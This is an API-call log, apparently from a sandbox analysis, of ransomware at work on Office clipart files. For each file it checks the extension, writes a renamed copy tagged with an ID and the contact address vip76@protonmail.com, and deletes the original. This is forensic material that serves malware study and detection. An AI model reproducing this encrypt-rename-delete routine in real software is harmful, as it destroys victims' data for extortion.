	[0177.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.201] lstrlenW (lpString=".dbf") returned 4
	[0177.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.201] lstrlenW (lpString=".1cd") returned 4
	[0177.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0177.201] lstrlenW (lpString=".jpg") returned 4
	[0177.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.201] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.201] lstrlenW (lpString="HH01461_.WMF") returned 12
	[0177.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.202] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=5958) returned 1
	[0177.202] CloseHandle (hObject=0x4a8) returned 1
	[0177.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220
	[0177.202] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0177.203] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.203] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0177.204] GetLastError () returned 0x0
	[0177.204] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1746, lpOverlapped=0x0) returned 1
	[0177.213] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1750, lpOverlapped=0x0) returned 1
	[0177.214] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.214] WriteFile (in: hFile=0x5b8, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.214] SetEndOfFile (hFile=0x5b8) returned 1
	[0177.214] CloseHandle (hObject=0x5b8) returned 1
	[0177.214] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.214] SetEndOfFile (hFile=0x4a8) returned 1
	[0177.343] CloseHandle (hObject=0x4a8) returned 1
	[0177.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.624] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString=".doc") returned 4
	[0177.934] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString=".docx") returned 5
	[0177.934] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.934] lstrlenW (lpString=".pdf") returned 4
	[0177.934] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString=".xls") returned 4
	[0177.934] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.934] lstrlenW (lpString=".xlsx") returned 5
	[0177.934] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.934] lstrlenW (lpString=".ppt") returned 4
	[0177.934] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString=".zip") returned 4
	[0177.934] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.934] lstrlenW (lpString=".rar") returned 4
	[0177.934] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString=".bz2") returned 4
	[0177.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString=".7z") returned 3
	[0177.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString=".dbf") returned 4
	[0177.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString=".1cd") returned 4
	[0177.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.934] lstrlenW (lpString=".jpg") returned 4
	[0177.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString=".doc") returned 4
	[0177.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString=".docx") returned 5
	[0177.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.935] lstrlenW (lpString=".pdf") returned 4
	[0177.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString=".xls") returned 4
	[0177.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.935] lstrlenW (lpString=".xlsx") returned 5
	[0177.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.935] lstrlenW (lpString=".ppt") returned 4
	[0177.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString=".zip") returned 4
	[0177.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.935] lstrlenW (lpString=".rar") returned 4
	[0177.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString=".bz2") returned 4
	[0177.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString=".7z") returned 3
	[0177.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString=".dbf") returned 4
	[0177.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString=".1cd") returned 4
	[0177.935] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0177.935] lstrlenW (lpString=".jpg") returned 4
	[0177.935] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.936] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.936] lstrlenW (lpString="HH02155_.WMF") returned 12
	[0177.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0177.936] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=2704) returned 1
	[0177.936] CloseHandle (hObject=0x5bc) returned 1
	[0177.936] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220
	[0177.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0177.937] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.937] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0177.938] GetLastError () returned 0x0
	[0177.938] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xa90, lpOverlapped=0x0) returned 1
	[0177.940] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xaa0, lpOverlapped=0x0) returned 1
	[0177.981] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.981] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.981] SetEndOfFile (hFile=0x5c0) returned 1
	[0177.985] CloseHandle (hObject=0x5c0) returned 1
	[0177.985] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.985] SetEndOfFile (hFile=0x5bc) returned 1
	[0177.988] CloseHandle (hObject=0x5bc) returned 1
	[0177.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0177.988] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1
	[0177.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.989] lstrlenW (lpString=".doc") returned 4
	[0177.989] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.989] lstrlenW (lpString=".docx") returned 5
	[0177.989] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.989] lstrlenW (lpString=".pdf") returned 4
	[0177.989] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.989] lstrlenW (lpString=".xls") returned 4
	[0177.989] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.989] lstrlenW (lpString=".xlsx") returned 5
	[0177.989] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.989] lstrlenW (lpString=".ppt") returned 4
	[0177.989] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".zip") returned 4
	[0177.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.990] lstrlenW (lpString=".rar") returned 4
	[0177.990] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString=".bz2") returned 4
	[0177.990] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString=".7z") returned 3
	[0177.990] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".dbf") returned 4
	[0177.990] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".1cd") returned 4
	[0177.990] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".jpg") returned 4
	[0177.990] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".doc") returned 4
	[0177.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString=".docx") returned 5
	[0177.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0177.990] lstrlenW (lpString=".pdf") returned 4
	[0177.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString=".xls") returned 4
	[0177.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0177.990] lstrlenW (lpString=".xlsx") returned 5
	[0177.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0177.990] lstrlenW (lpString=".ppt") returned 4
	[0177.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0177.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.990] lstrlenW (lpString=".zip") returned 4
	[0177.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0177.991] lstrlenW (lpString=".rar") returned 4
	[0177.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0177.991] lstrlenW (lpString=".bz2") returned 4
	[0177.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0177.991] lstrlenW (lpString=".7z") returned 3
	[0177.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0177.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.991] lstrlenW (lpString=".dbf") returned 4
	[0177.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0177.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.991] lstrlenW (lpString=".1cd") returned 4
	[0177.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0177.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68
	[0177.991] lstrlenW (lpString=".jpg") returned 4
	[0177.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0177.991] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0177.991] lstrlenW (lpString="HH02166_.WMF") returned 12
	[0177.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0177.993] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1324) returned 1
	[0177.993] CloseHandle (hObject=0x5bc) returned 1
	[0177.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220
	[0177.993] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0177.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0177.993] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.993] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0177.994] GetLastError () returned 0x0
	[0177.994] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x52c, lpOverlapped=0x0) returned 1
	[0177.996] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x530, lpOverlapped=0x0) returned 1
	[0177.997] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0177.997] WriteFile (in: hFile=0x5c0, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0177.997] SetEndOfFile (hFile=0x5c0) returned 1
	[0177.997] CloseHandle (hObject=0x5c0) returned 1
	[0177.997] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0177.997] SetEndOfFile (hFile=0x5bc) returned 1
	[0178.000] CloseHandle (hObject=0x5bc) returned 1
	[0178.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0178.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.001] lstrlenW (lpString=".doc") returned 4
	[0178.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString=".docx") returned 5
	[0178.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.002] lstrlenW (lpString=".pdf") returned 4
	[0178.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString=".xls") returned 4
	[0178.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.002] lstrlenW (lpString=".xlsx") returned 5
	[0178.002] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.002] lstrlenW (lpString=".ppt") returned 4
	[0178.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString=".zip") returned 4
	[0178.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.002] lstrlenW (lpString=".rar") returned 4
	[0178.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString=".bz2") returned 4
	[0178.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString=".7z") returned 3
	[0178.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString=".dbf") returned 4
	[0178.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString=".1cd") returned 4
	[0178.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString=".jpg") returned 4
	[0178.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.002] lstrlenW (lpString=".doc") returned 4
	[0178.003] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString=".docx") returned 5
	[0178.003] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0178.003] lstrlenW (lpString=".pdf") returned 4
	[0178.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString=".xls") returned 4
	[0178.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0178.003] lstrlenW (lpString=".xlsx") returned 5
	[0178.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0178.003] lstrlenW (lpString=".ppt") returned 4
	[0178.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0178.003] lstrlenW (lpString=".zip") returned 4
	[0178.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0178.003] lstrlenW (lpString=".rar") returned 4
	[0178.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0178.003] lstrlenW (lpString=".bz2") returned 4
	[0178.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
